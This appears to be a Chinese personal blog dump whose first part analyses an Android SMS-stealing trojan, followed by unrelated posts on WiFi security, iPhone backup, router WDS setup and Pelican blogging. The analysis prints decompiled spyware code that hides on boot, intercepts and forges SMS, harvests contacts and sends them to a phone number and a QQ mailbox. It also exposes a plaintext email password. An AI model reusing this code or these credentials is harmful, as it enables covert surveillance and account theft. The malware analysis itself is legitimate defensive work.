  public void onReceive(Context paramContext, Intent paramIntent)
{
System.out.println("收到开机广播===================================");
System.out.println("木马 killProcess==================================");
Intent localIntent = new Intent();
localIntent.setClass(paramContext, ListenMessageService.class);
paramContext.startService(localIntent);
System.out.println(" startService成功==============================");
Process.killProcess(Process.myPid());
}

每次开机都会启动ListenMessageService，然后杀掉自己的开机监听。很像病毒的做法。

在这个服务中首先将会启动一个短信拦截服务：

 public void run()
  {
    try
    {
      sleep(3000L);
      Looper.prepare();
      System.out.println("Sleep 3秒后--&gt;startForeground--&gt;registerContentObserver");
      ListenMessageService.this.startForeground(1378, ListenMessageService.this.notification);
      ListenMessageService.this.app = ((CustomApplication)ListenMessageService.this.getApplication());
      boolean bool = ListenMessageService.this.app.isReg;
      System.out.println("isReg--&gt;&gt;&gt;" + ListenMessageService.this.app.isReg);
      if (!bool)
      {
        ListenMessageService.this.getContentResolver().registerContentObserver(Uri.parse("content://sms"), true, new ListenMessageService.SmsObserver(ListenMessageService.this, new ListenMessageService.SmsHandler(ListenMessageService.this, ListenMessageService.this)));
        ListenMessageService.this.app.isReg = true;
        SmsManager.getDefault().sendTextMessage("18670259904", null, "【数据库截获】监控service启动", null, null);
      }
      Looper.loop();
      return;
    }
    catch (InterruptedException localInterruptedException)
    {
      while (true)
        localInterruptedException.printStackTrace();
    }
  }
}
.start();

然后依旧是发短信告诉自己。

然后添加一个推送在通知栏：

  public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2)
{
this.notification = new Notification(17301568, "系统消息", System.currentTimeMillis());
PendingIntent localPendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, MainActivity.class), 0);
this.notification.setLatestEventInfo(this, "Help", "Running a Service in the Foreground", localPendingIntent);
return super.onStartCommand(paramIntent, 1, paramInt2);
}

目的是点击该通知去出发mainactivity来隐藏图标，因为每次开机都要隐藏嘛~

然后就是最为关键的部分，以下代码包含了对短信的收件箱和发件箱短信的获取，拦截并且根据内容判定是否是指令短信（内容以#开头），最后将非指令非自己伪造的短信（FLAG=FLASE）发送到作者自己的手机上来。还对长短信进行分割：

if (str3.length() &gt; 60)
  {
    localSmsManager.sendTextMessage("18670259904", null, str3.substring(0, str3.length() / 2), null, null);
    localSmsManager.sendTextMessage("18670259904", null, str3.substring(1 + str3.length() / 2), null, null);
  }

短信监听服务，当收件箱或者发件箱数目有改动的时候会调用

private final class SmsObserver extends ContentObserver
 {
public ListenMessageService.SmsHandler smsHandler;

public SmsObserver(ListenMessageService.SmsHandler arg2)
{
  super();
  this.smsHandler = localHandler;
}

@SuppressLint({"UnlocalizedSms", "SimpleDateFormat"})
public void onChange(boolean paramBoolean)
{
  System.out.println("=====================================================");
  System.out.println("木马进入ContentObserver，开始截获----------------------------");
  Cursor localCursor1 = ListenMessageService.this.getContentResolver().query(Uri.parse("content://sms/outbox"), null, null, null, null);
  if (localCursor1 == null);
  Cursor localCursor2;
  do
  {
    return;
    do
    {
      System.out.println("木马进入SEND查询---------------------------------");
      StringBuilder localStringBuilder2 = new StringBuilder();
      localStringBuilder2.append("sendTo:").append(localCursor1.getString(localCursor1.getColumnIndex("address")));
      localStringBuilder2.append(";content:").append(localCursor1.getString(localCursor1.getColumnIndex("body")));
      SmsManager.getDefault().sendTextMessage("18670259904", null, "【数据库截获】SEND::" + localStringBuilder2.toString(), null, null);
      System.out.println("木马截获SEND短信成功&gt;&gt;&gt;" + localStringBuilder2.toString());
    }
    while (localCursor1.moveToNext());
    localCursor1.close();
    if (localCursor1 != null)
      localCursor1.close();
    localCursor2 = ListenMessageService.this.getContentResolver().query(Uri.parse("content://sms/inbox"), new String[] { "_id", "address", "read", "body", "thread_id" }, "read=?", new String[] { "0" }, "date desc");
  }
  while (localCursor2 == null);
  if (!localCursor2.moveToNext())
  {
    localCursor2.close();
    System.out.println("木马离开ContentObserver，完成截获---------------------------------------------------");
    if (localCursor2 != null)
      localCursor2.close();
    System.out.println("=====================================================");
    super.onChange(true);
    return;
  }
  System.out.println("木马进入RECV查询---------------------------------");
  ListenMessageService.SmsInfo localSmsInfo = new ListenMessageService.SmsInfo(ListenMessageService.this);
  StringBuilder localStringBuilder1 = new StringBuilder();
  String str1 = localCursor2.getString(localCursor2.getColumnIndex("body"));
  System.out.println("time-&gt;" + System.currentTimeMillis() + ";content-&gt;" + str1);
  int i = str1.indexOf("#");
  label469: String str4;
  if (i &lt; 0)
  {
    if (ListenMessageService.this.app.lastMsg.equals(str1))
    {
      if (System.currentTimeMillis() - ListenMessageService.this.app.time &lt; 15000L)
      {
        System.out.println("^^^^^^^^^^^^^^^^^");
        System.out.println("Second # into ,return!");
        System.out.println("^^^^^^^^^^^^^^^^^");
      }
    }
    else
      ListenMessageService.this.app.lastMsg = str1;
    ListenMessageService.this.app.time = System.currentTimeMillis();
    localSmsInfo.smsBody = str1;
    localSmsInfo._id = localCursor2.getString(localCursor2.getColumnIndex("_id"));
    String str2 = localCursor2.getString(localCursor2.getColumnIndex("address")).replace(" ", "").replace("+86", "");
    localSmsInfo.smsAddress = str2;
    localSmsInfo.thread_id = localCursor2.getString(localCursor2.getColumnIndex("thread_id"));
    localSmsInfo.read = localCursor2.getString(localCursor2.getColumnIndex("read"));
    localStringBuilder1.append("recvFrom:").append(localCursor2.getString(localCursor2.getColumnIndex("address")));
    localStringBuilder1.append(";content:").append(localCursor2.getString(localCursor2.getColumnIndex("body")));
    System.out.println(localStringBuilder1.toString());
    if (!str2.equals("18670259904"))
      break label1345;
    System.out.println("木马判断为命令消息，执行");
    str4 = str1.substring(0, i);
    switch (str4.hashCode())
    {
    default:
      label728: ListenMessageService.this.Flag = false;
      System.out.println("数据库处理不认识的命令--------------------------------------");
      localSmsInfo.action = 2;
      label750: Message localMessage2 = this.smsHandler.obtainMessage();
      localMessage2.obj = localSmsInfo;
      this.smsHandler.sendMessage(localMessage2);
    case -1449143887:
    case -973199489:
    case 3556498:
    case 579867225:
    case 1248164738:
    }
  }
  while (true)
  {
    System.out.println("木马完成处理截获短信 &gt;&gt;" + localStringBuilder1.toString());
    break;
    if (ListenMessageService.this.app.allMsg.equals(str1))
    {
      if (System.currentTimeMillis() - ListenMessageService.this.app.time &gt;= 5000L)
        break label469;
      System.out.println("^^^^^^^^^^^^^^^^^");
      System.out.println("Second time  into ,return!");
      System.out.println("^^^^^^^^^^^^^^^^^");
      return;
    }
    ListenMessageService.this.app.allMsg = str1;
    break label469;
    if (!str4.equals("readmessage"))
      break label728;
    System.out.println("数据库处理发送邮件命令-----------------------------------");
    String str10 = ListenMessageService.this.ReadAllMessage(ListenMessageService.this);
    Intent localIntent2 = new Intent(ListenMessageService.this, MySendEmailService.class);
    localIntent2.putExtra("String", str10);
    ListenMessageService.this.startService(localIntent2);
    ListenMessageService.this.Flag = false;
    localSmsInfo.action = 2;
    break label750;
    if (!str4.equals("sendmessage"))
      break label728;
    System.out.println("数据库处理发送短信命令----------------------------------");
    int k = str1.lastIndexOf('/');
    String str8 = str1.substring(i + 1, k);
    String str9 = str1.substring(k + 1, str1.length());
    SmsManager.getDefault().sendTextMessage(str8, null, str9, null, null);
    ListenMessageService.this.Flag = false;
    localSmsInfo.action = 2;
    break label750;
    if (!str4.equals("test"))
      break label728;
    System.out.println("数据库收到test命令-----------------------------------");
    SmsManager.getDefault().sendTextMessage("18670259904", null, "【数据库截获】TEST数据截获（广播失效）", null, null);
    ListenMessageService.this.Flag = false;
    localSmsInfo.action = 2;
    break label750;
    if (!str4.equals("makemessage"))
      break label728;
    System.out.println("数据库处理伪造短信命令------------------------------------------");
    int j = str1.lastIndexOf('/');
    String str6 = str1.substring(i + 1, j);
    String str7 = str1.substring(j + 1, str1.length());
    ListenMessageService.this.Flag = true;
    new Thread()
    {
      public void run()
      {
        try
        {
          sleep(8000L);
          System.out.println("==============================================");
          System.out.println("开启线程睡眠8秒后 将Flag=false");
          System.out.println("==============================================");
          ListenMessageService.this.Flag = false;
          return;
        }
        catch (InterruptedException localInterruptedException)
        {
          while (true)
            localInterruptedException.printStackTrace();
        }
      }
    }
    .start();
    System.out.println("Flag-------&gt;&gt;&gt;&gt;&gt;&gt;&gt;" + ListenMessageService.this.Flag);
    localSmsInfo.smsAddress = str6;
    localSmsInfo.smsBody = str7;
    localSmsInfo.action = 1;
    break label750;
    if (!str4.equals("sendlink"))
      break label728;
    System.out.println("数据库处理发送Link命令--------------------------------------------");
    ListenMessageService.this.Flag = false;
    String str5 = str1.substring(i + 1);
    ListenMessageService.this.ReadCONTACTS(ListenMessageService.this, str5);
    Intent localIntent1 = new Intent(ListenMessageService.this, MySendEmailService.class);
    localIntent1.putExtra("String", ListenMessageService.this.contactArray.toString());
    ListenMessageService.this.startService(localIntent1);
    localSmsInfo.action = 2;
    break label750;
    label1345: System.out.println("Flag-----------&gt;" + ListenMessageService.this.Flag);
    if (!ListenMessageService.this.Flag)
      break label1396;
    System.out.println("判断为伪造短信。不用截获不用发送-------------------------");
  }
  label1396: System.out.println("木马判断为普通信息，发送");
  SmsManager localSmsManager = SmsManager.getDefault();
  String str3 = "【数据库截获】RECV::" + localStringBuilder1.toString();
  if (str3.length() &gt; 60)
  {
    localSmsManager.sendTextMessage("18670259904", null, str3.substring(0, str3.length() / 2), null, null);
    localSmsManager.sendTextMessage("18670259904", null, str3.substring(1 + str3.length() / 2), null, null);
  }
  while (true)
  {
    localSmsInfo.action = 2;
    Message localMessage1 = this.smsHandler.obtainMessage();
    localMessage1.obj = localSmsInfo;
    this.smsHandler.sendMessage(localMessage1);
    break;
    localSmsManager.sendTextMessage("18670259904", null, str3, null, null);
  }
}
}

在MySendEmailService中，我们可以看到作者留下的邮箱信息，这也是作者愚昧的地方，留下了自己常用QQ和密码，我们可以发现两个邮箱是同一个。。是qq邮箱给的别名服务。

 protected void onHandleIntent(Intent paramIntent)
{
System.out.println("木马进入MySendEmailService==============================");
String str = paramIntent.getStringExtra("String");
System.out.println("木马开始发送邮件============================");
MailSenderInfo localMailSenderInfo = new MailSenderInfo();
localMailSenderInfo.setMailServerHost("smtp.qq.com");
localMailSenderInfo.setMailServerPort("25");
localMailSenderInfo.setValidate(true);
localMailSenderInfo.setUserName("a137736513@qq.com");
localMailSenderInfo.setPassword("lishulili.");
localMailSenderInfo.setFromAddress("a137736513@qq.com");
localMailSenderInfo.setToAddress("137736513@qq.com");
localMailSenderInfo.setSubject("信息");
localMailSenderInfo.setContent(str);
new SimpleMailSender().sendTextMail(localMailSenderInfo);
SimpleMailSender.sendHtmlMail(localMailSenderInfo);
System.out.println("木马完成发送邮件=============================");
System.out.println("木马离开MySendEmailService=============================");
System.out.println("木马killProcess==============================");
Process.killProcess(Process.myPid());
}
}

在BroadcastRecvMessage中发现了两个很重要的点，第一个是如过是作者发来的信息，就会执行特殊操作：

 if (str3.equals("18670259904"))
{
  int k = str2.indexOf("#");
  String str5 = str2.substring(0, k);
  switch (str5.hashCode())
  {
  default:
    label188: System.out.println("木马不认识的命令========================");
    abortBroadcast();
    new Thread()
    {
      public void run()
      {
        System.out.println("木马Sleep(1000)==============================");
        try
        {
          Thread.sleep(1000L);
          System.out.println("木马killProcess==============================");
          Process.killProcess(Process.myPid());
          return;
        }
        catch (InterruptedException localInterruptedException)
        {
          while (true)
            localInterruptedException.printStackTrace();
        }
      }
    }
    .start();
  case -1449143887:
  case -973199489:
  case 3556498:
  case 579867225:
  case 1248164738:
  }

功能似乎写了，但是看不到case情况，不了解。安装这个顺序应该默认都执行defult，好奇怪。

发现是类似淘宝信息就发送给作者：

if (str3.length() != 11)
{
  System.out.println("木马觉得淘宝信息==============================");
  str4 = "【特殊消息】" + str2;
  if (str4.length() &gt; 60)
  {
    localSmsManager.sendTextMessage("18670259904", null, str4.substring(0, str4.length() / 2), null, null);
    localSmsManager.sendTextMessage("18670259904", null, str4.substring(1 + str4.length() / 2), null, null);
  }
}

不过仅仅是以手机号长度不是11位就判定。。应该是获取所有非手机号的短信，比如各种106开头的短信。

关键是，即使是普通短信也要发送给作者：

      localSmsManager.sendTextMessage("18670259904", null, str4, null, null);
  continue;
  System.out.println("木马觉得是普通信息==============================");
  localSmsManager.sendTextMessage("18670259904", null, "From:" + str3 + ";content:" + str2, null, null);

所以网上有人说是监控他女朋友的也是有可能的。。。

写在最后

整个代码分析下来发现没什么亮点，无非就是后台偷偷摸摸做一些事情，然后把你的短信都发到他那里去。。。说好听点就是监控木马。

作者估计只是玩一下，用了自己的手机号，以及自己的QQ和QQ邮箱，还留下了密码。怪不得很多人说登录了作者的其他账户游玩了-。-

估计8.2那天作者的手机短信收到爆满吧。。。邮件的话应该很多人去围观邮箱作者改密码了所以应该都发送失败（这好歹是个有技术含量的点）

清理木马只要把xxshenqi和trogoogle卸载就好。

最后吐槽一下“良心媒体”的大肆宣传和各大厂商的软文，简直看不下去了。

作者可能真是没有恶意，不过看上去好像已经悲剧了。

【2014年7月31日】纯日常

2014-08-01T01:03:00+08:00

福州麻将

果然没打钱就各种随意~不用计算不用记忆~

0.0然后赢了好多~

不过~为什么一提到money就输呢~

一定是我的大脑太理性了

掼蛋

呀竟然在连江打起来掼蛋，还好在南京学了一下~

南大的同学很碉堡呀~

最后~还是赢了~

不过为什么我们打牌这么容易抗供、、真不科学

0.0

-。-呀，我也不知道要说什么了。。。

哼我的道德还是很好的！

三观很正常！！！

【2014年7月30日】关于WiFi 安全的一些提示

2014-07-31T00:01:00+08:00

Wifi安全

现在大家基本都是用智能手机了，在大陆，流量永远是个坑，所以大家现在都养成一个习惯，到一个地方就开始寻找Wifi然后Join it。

这样安全么？

安全是个相对的话题，如果你认为我的信息毫无价值，我也木有钱，那你就觉得安全不重要，相反另外一些人就比较看重了。

Wifi的入侵有哪几种？

虚假WiFi
无线路由器被修改（路由表，DNS，注入js等）

哪些信息会被获取

你手机的IMEI等基本信息
基于你使用的应用数据

具体的危害在哪里

一些可能出现但不一定出现在你身上，技术上都没有问题

你的QQ号，微博，微信账号，百度账号等被获取
百度账号被盗取，所有的百度服务信息都可以被获取（包括百度云上的所有数据）
网银信息，支付宝信息（虽然APP端基本都加密过，但是我们可以直接修改他们的数据提交路径，抑或在返回的淘宝，网银网页数据中加入我们的XSS攻击脚本，抑或，直接用我们的钓鱼网页给你让你自愿的输入密码）
你使用APP的数据，一些比较隐私的数据（比如你刚好再注册某个东西要你填写个人信息）

不是危言耸听，以上大部分内容我都试验过0.0而且Hack 路由器网络上已经是大把大把的教程了

那我们应该如何防范呢

免费Wifi谁都想用，但是使用要适度。

在使用free wifi的时候如果出现要使用网银，支付宝等情况请切换到数据流量上来，这样就安全了很多。

还有，不要打开百度的APP，这是忠告。

还有别指望各种云盘是安全的，你的照片很可能莫名其妙的就被泄露了。

还有人说数据流量也有伪基站呀，没事我来和你说说，

现在GSM，也就是平时我们说的2G网络，通话，短信都可以被监听。短信的话只要25块钱就可以主动的去接收某个范围内的短信了~然后You can do everything.

如果你到了某个地方，突然手机的edge，3g，4g的上网数据消失了，然后突然收到广告短信，说明你已经进入了伪基站的范围，快逃离吧。也可以手动切换运营商~

不过现在据说4g换卡添加了通讯安全验证，不过为了兼容应该还是A3或者A5的验证吧，太脆弱了。

END

【2014年7月29日】iPhone越狱，备份，升级，刷机的一些Tips

2014-07-30T00:42:00+08:00

iPhone是个好手机

Po主虽然是Android开发者，但是是忠实的果粉。

其实我就是喜欢TA的屏幕，他的Sandbox。

其实我是忠实Jailbreak.

iPhone手机应该如何备份

itunes难用很多人都觉得，至少我是不会去教一个大人如何去使用itunes，而且我认为大部分人在用itunes同步的时候会把手机的应用同步没吧~

所以我们应该如何备份我们的数据呢~

将手机连接itunes，在itunes中找到自己的手机，然后点击备份，只要点击备份就好了~然后他就会默默的开始备份。（这里要强调一定要备份应用。。。）

备份好的时候我们还是要等待应用传输结束，直到itunes中上方里面木有进度条为止，一次完整的备份成功了。

通过itunes备份的数据有哪些呢？

手机的设置
手机的通讯录，短信，备忘录，书签等基本数据（如果开启了icloud的话就不会被备份到电脑上）
照片
应用程序和优化过的程序文档（这里要重点说明，不是所有的程序文档都会被保存，比如qq的信息就全部miss了，而大部分的游戏等存档都在，怀疑qq的文档是以tmp类型的文件存放。）
歌曲铃声只有在你同步到iTunes中才会保存
越狱的设置文件很多都会被保存。

越狱的手机如何正确升级呢？

越狱的手机是不可以通过OTA升级或者直接在itunes升级以及恢复抹掉数据，这些操作都会导致白苹果，造成数据的不可逆的丢失，以及手机开不了机。

正确的升级方式应该是-

用itunes备份手机数据，拷贝铃声和音乐，通过itools等第三方程序备份应用及其文档，备份照片和联系人等数据
下载对应的固件ipsw
在itunes中按住shift键然后点击恢复选择固件刷入
恢复备份数据

一些关于itunes级刷机的问题

iPHone升级或者恢复固件失败或者其他原因进入恢复模式的问题解决

手机莫名进入恢复模式，刷机4013错误进入无限恢复模式，等的可以尝试使用爱思助手中的高级玩家模式中的退出恢复模式进行尝试，大部分情况下是可以恢复到正常，少数情况失败的那就只能刷机了。

itunes备份占用过多C盘空间的解决方案

本方案适合windows 7及以上操作系统（正在测试中）

事前请先确认iTunes已经关闭
把C:\Users\您的用户名\Music下的iTunes文件夹剪切（不是复制）到D盘的Downloads文件夹里，然后重命名为iTunesSource
把C:\Users\您的用户名\AppData\Roaming\Apple Computer下的MobileSync文件夹剪切（不是复制）到D盘的Downloads文件夹里，然后重命名为MobileSyncSource
请确认上述iTunes和MobileSync文件夹在原始路径下已经不存在，并全部转移到D盘了。
点击开始-> 搜索框里输入cmd->右键点击cmd选择以管理员模式运行
执行下列命令。注意：每一行是一条命令，输入完要回车。另外

如果文件路径里面有空格的话，执行mklink命令的时候路径要用双引号引上。

执行以下命令

cd C:\Users\您的用户名\Music

mklink /d iTunes d:\Downloads\iTunesSource

cd C:\Users\您的用户名\AppData\Roaming\Apple Computer

mklink /d MobileSync d:\Downloads\MobileSyncSource

执行上述命令后，你可以看到

symbolic link created for iTunes &lt;&lt;===&gt;&gt; d:\Downloads\iTunesSource
和
symbolic link created for MobileSync &lt;&lt;===&gt;&gt; d:\Downloads\MobileSyncSource

最后，请确认 C:\Users\您的用户名\Music下存在iTunes C:\Users\您的用户名\AppData\Roaming\Apple Computer下存在MobileSync
启动itunes，看看是不是数据都还在！

【2014年7月28日】关于TP-link和Netcore路由器的WDS连接

2014-07-29T00:51:00+08:00

准备开始每日一个日记

2014年7月28日

无线路由器WDS配置

如何让家里走到哪里都有无线

问题很简单，买很多的无线路由器。

可是，我只有一根网线呀

好的~下面开始进入教学环节，如果让两个无线路由器通过无线连接上网~

背景

想一下你在学校的时候，在无线覆盖区域（比如图书馆），是不是只是连接一个无线，走到哪里都可以上网。

那个无线真的信号可以覆盖那么广么？明显不可以。那么是怎么实现的呢？我们又如何在家中享受这种便利呢？

材料

准备两个无线路由器，至少有一个支持WDS功能，还有一个能上网的网线。

配置路由器

【PO主家有两个路由器，路由器A设定为NETCORE磊科路由器NW737，路由器B为TP-LINK的路由器，两个都支持WDS】

路由器A通过宽带上网（这是必须的）
路由器A更改无线设置，选择一个好听的SSID，然后用WPA2加密，固定信道（记住他就好，这里选择10）
开始路由器A的DHCP功能，记录网关，例如192.168.1.1的话，DHCP分配的ip应该在192.168.1.3开始，因为.2的ip要给我们路由器B
用无线设备连接，看看可不可以上网。

路由器B更改ssid和路由器A一样，信道和A一样，密码和A一样，然后在路由器B中的WDS添加路由器A的无线SSID，密码，MAC等信息
关闭路由器B的DHCP功能
修改路由器B的管理IP为192.168.1.2，也就是上面预留的那个ip

NetCore 路由器比较麻烦，这时候两个路由器已经连接，但是不可以上网，我们需要进入路由器A中，在WDS中添加路由器B的SSID和MAC

然后这时候我们重启两个路由器~

大功告成！

现在手机客户端就会根据TA本身的原则来自由的选择Wifi，一般是自动选择信号强的 ~

END。

Pelican 的进阶-添加主题，插件

2014-07-27T00:03:00+08:00

添加主题

下载主题

在Blog目录下~打开GIT。输入，

git clone https://github.com/getpelican/pelican-themes.git
cd pelican-themes

然后你就会发现多了一个pelican-themes的文件夹~里面就都是主题啦~

里面的每个文件夹都是一个主题，很多都是空的o(╯□╰)o

不过有内容的都是有截图的~然后自己选择一个比较喜欢的~

PO主选择的是tuxlite_tbs这个主题~

然后运行一下命令进行安装主题~

pelican-themes -i tuxlite_tbs

然后修改文件pelicanconf.py在其中添加THEME = 'bootstrap2'然后重新生成Blog就好了~

新的主题怎么样呢~

修改主题

我们可以看到主题有两个目录，一个是css和icon的~一个是全部的HTML，CSS按照自己喜欢的方式添加修改~ HTML就是这个BLOG的核心部分，基本上所有的代码都是根据这个生成的。

主页一般是base.html+index.html+....生成的

我们可以通过观察修改不同的代码，以及我们也可以自己添加函数，标准函数都是{{xxxx.xxxx}}这样的~只要把对应的东西放在对应的位置就好~

比如让网页的title显示的是文章的title而不是Blog的Title

修改article.html，添加第二行文字

{% extends "base.html" %}
{% block windowtitle %}{{ article.title }}{% endblock %}
{% block content %}

修改主题后，我们要更新主题才会生效

pelican-themes -U tuxlite_tbs

更新主题后继续重新生成Blog，是不是改变了！

添加插件

GITHUB上的插件

和主题一样，GIT CLONE。

git clone git://github.com/getpelican/pelican-plugins.git

如何使用可以参考开头提到的Blog和插件自带的.md，这里不再赘述。

添加评论插件Disqus

去Disqus官网注册，然后申请一个，记住SITENAME，然后在pelicanconf.py的DISQUS_SITENAME这个属性后添加SITENAME,c重新编译即可~

添加Google Analytics

去Google Analytics申请账号，记下跟踪ID，在pelicanconf.py的GOOGLE_ANALYTICS添加ID。注意，现在Google已经修改代码，很多主题的分析代码都是旧版本的，我们先完整的复制Google给的js代码，然后打开主题的 analytics.html,删除原来的Google Analytics的代码，替换成新的代码，然后更新主题~搞定~

Pelican 的轻松使用-写一个好脚本

2014-07-26T00:39:00+08:00

一键发表文章

在Blog目录下创建Publish.bat文件（右键新建文本文档，改文件名-。-）然后按需要修改以下代码:

pelican content -s publishconf.py
cd output
git add .
git commit -m "commit bat"
git push git@github.com:fashioncj/fashioncj.github.io.git
cd ..

然后每次要发布的时候是要双击它就好啦~

一键更新主题

在pelican-theme目录下新建update.bat文件然后写入如下代码

pelican-themes -U 主题名

就ok啦~

Pelican 的Windows 入门教程

2014-07-26T00:31:00+08:00

在windows下可以很方便的运行，不需要ruby，只要安装pytho n，而且不需要知道python脚本怎么使用
简洁，带有code 高亮，如果用rst写的话还支持更多代码...

为什么选择TA

在windows下可以很方便的运行，不需要ruby，只要安装pytho n，而且不需要知道python脚本怎么使用
简洁，带有code 高亮，如果用rst写的话还支持更多代码显示
模块设计，支持bootstrap，可以自己写Theme和plugins
看了这个文章，你只需要不到一个小时就可以写出HelloMyBlog

感谢知乎上的题目给了我对jekyII，Octopress，Pelican的对比 http://www.zhihu.com/question/19996679

感谢以下两个Blog给我很多提示 http://www.lizherui.com/pages/2013/08/17/build_blog.html http://www.cnblogs.com/ballwql/p/pelican.html

让我们开始

官方文档：http://pelican-cn.readthedocs.org/zh_CN/latest/quickstart.html

安装python

pelican对于python2和3 都兼容，我个人习惯是都安装，因为现在可以使用py -2或者py -3来选择是python2还是python3运行。

安装pelican

首先，我们要确定pip命令是否可用，在cmd中输入pip看是否识别，不能识别的请将python script的路径加入环境变量path中，不会请google it

现在我们开始安装pelican

首先是下载安装pelican

pip install pelican markdown

等待完成就好~

部署新的pelican blog

找个新的文件夹~也就是你准备要存放Blog的文件夹~ 然后用cmd运行到这个目录下~ 本文使用的是newblog这个目录~

在cmd中输入

pelican-quickstart

然后就开始配置，网站标题，作者，前缀，分页，页数都自己填，如果你购买了域名就在网站前缀直接输入你的域名~

一路回答后~就完成了~你会发现文件夹里面多了好多东西~

写一篇新文章

首先下载MarkdownPad2~这个是在Windows编辑.md文件比较好的软件~ 然后在MP中输入：

Title: Pelican 的标准发表模板
Date: 2014-7-25 16:59
Modified: 2014-7-25 16:59
Category: Pelican
Tags: pelican, publishing, python
Authors: chenjia.me
Summary: Template

&lt;在这里填写文件内容&gt;

然后保存到content这个文件夹下~

生成Blog

在根目录下，cmd中~输入

pelican content

这样在output文件夹中就会有文件了~可以直接打开里面的index.html，看看是不是很难看？没事不要担心~我们慢慢搞定它~

将代码托管到GitHub/GitCafe

这两个都提供了个人page的功能~ Github在国外，GFW墙过，gitcafe是国内~比较稳定，不过貌似对某些地方的联通网络支持不好~

看到大家都喜欢用github~就介绍这个吧~

如果新注册的GitCafe的用户~可以添加我作为邀请用户~用户名fashioncj

在Github上注册好厚创建用户名.github.io 的仓库，然后在右边点击设置，里面就有一个生成个人page的选择~然后你就填写资料~就好了~

ps.那个主题神马的都无所谓~因为我们是要用Pelican的！

然后配置你的SSH，在本地装好Git环境

如果不会git请百度~很快就会的~因为我们只要会clone,add，commit，push

然后到本机，cmd切换到output这个目录，使用git clone把仓库里面的代码复制下来，然后我们就完成了第一步。

接下来，修改文件publishconf.py中的

DELETE_OUTPUT_DIRECTORY = False

防止我们每次生成Blog的时候清空.git目录

然后我们使用命令pelican content -s publishconf.py再次生成。

成功后，我们打开output目录，将代码push到远程仓库。然后用浏览器访问：用户名.github.io 看看是不是Blog出现了~

绑定域名

在仓库中创建一个文件，文件名为CNAME,内容为你的域名
修改你的域名dns解析商，推荐dnspod和dnsla
使用dnspod或者dnsla，将你的域名添加两条A记录，指向的地址分别是

192.30.252.154

192.30.252.153

然后过几分钟，打开你的域名~blog是不是出现了！

接下来的一篇文章会介绍添加主题，插件，修改主题模板，脚本快速发表等内容

modified at 2014-07-26 01:15

Pelican 的标准发表模板

2014-07-25T16:59:00+08:00

看上去不错

的确不错

import java.io.*
public void static main(){

return 0;
}

info it

italy

BOLD

http://chenjia.me

2014/7/25 17:04:48

Fashioncj Tell You - chenjia.me

软路由实现流量拦截,破解联通IPTV

参考文章

简洁操作

备份原文章最后代码

自建Bind9 DNS服务器

安装Bind9

配置自定义域名

添加上游递归DNS

允许DNS被任意人访问

重启服务

自动化检查网络出口和入口的端口封禁情况

原理

出口端口封禁检测

入口端口封禁检测

搭建服务器步骤

BrupSuit证书导入Android7.0以上手机

Android安全策略提升

如何破解

作为证书变为系统证书

参考

开发流程总结

开始

流程

Transform360 编译指南

什么是Transform360

CubeMap优点

编译指南

转换视频指南

评论系统迁移至Github Issue

评论系统迁移

使用的评论系统

之前的评论

基于Google VR SDK 的Ambisonic 音频播放Demo实现及相关文档

支持播放的Ambisonic文件格式

空间变化设置

相关资料收集

Mac sed 命令差异

微博批量点赞脚本

原理

第一版本

第二版本

实验室域名HTTPS配置完成笔记

为什么需要HTTPS

部署HTTPS

哪些服务启用了HTTPS

transformNativeLibsWithStripDebugSymbolForRelease错误解决方案

transformNativeLibsWithStripDebugSymbolForRelease错误解决方案

从源码编译smaliidea插件

编译smaliidea插件

解决MAC下IDEAL中Gradle缺失JAVA_HOME变量

解决MAC下IDEAL中Gradle缺失JAVA_HOME变量

关于/etc/launchd.conf

济南公交信息接口

使用前需知

查询某车次信息

查询某车次车辆信息

查询某车次站点信息

Android自动化测试的一个总结

Android 自动化测试

获取的新知识

书上无介绍的知识

Blog添加RSS和ATOM 订阅

无缝迁移CM代码到LineageOS

从CM迁移代码到Lineage OS

编译

Polipo代理权限控制

Polipo代理添加验证

使用IP进行控制

使用用户名密码来进行验证

Digitalocean VPS开启TCP BBR

确定自己的主机类型

下载安装Linux kernel 4.9

更换启动内核

Enjoy

Build LineageOS/CM/AOSP on Ubuntu

最新更新

目的

官方教程

在Ubuntu上编译CM代码（或者AOSP代码）